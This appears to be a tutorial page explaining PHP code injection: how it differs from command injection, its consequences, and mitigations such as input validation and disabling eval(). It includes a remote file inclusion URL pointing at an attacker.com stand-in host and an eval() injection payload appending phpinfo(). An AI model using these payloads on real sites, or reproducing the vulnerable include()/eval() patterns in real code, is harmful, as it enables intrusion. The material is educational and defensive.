Injections

PHP Code Injection

PHP Code Injection

- PHP Code Injection Attacks are generally performed by injecting a PHP Code into the PHP Based vulnerable Application. This attack is generally possible due to the improper handling of the input data or improper input validation.
- A general misconception is about Code Injection and Command Injection being the same which is not true. Code Injections are completely different from Command Injections. An attacker exploiting a PHP Code Injection vulnerability could only perform what the PHP can perform, but with a Command Injection he could leverage it to the System Commands.

Consequences

- This Attack generally is based on the Scenario and on how insecure the PHP is been implemented.
- If this is exploited, then the impact could be majorly compromising confidentiality, integrity and accessibility factors.
- The attacker could get further access to the Databases as well.

Example

- Consider this example where an application passes the parameter via the GET method to the include() function of the PHP without having any input validation.

  http://www.example.com/index.php?page=details.php

- But an attacker could exploit this by asking the application to execute a malicious file.

  http://www.example.com/index.php?page=http://attacker.com/attack.php

Example

Vulnerable eval() function:

```
$var1 = “eno";
$var2 = $_GET[‘empno'];
eval("\$var1 = \$var2;");
```

Attacker’s Input:

```
http://www.example.com/page1.php?empno=101; phpinfo()
```

Mitigations

- Using Secure PHP Frameworks such as “Suhosin” and disabling eval() function.
- Implementing Input Validation and Input Sanitization is an important mitigation.
- Implementing Output Validation is also an important mitigation step.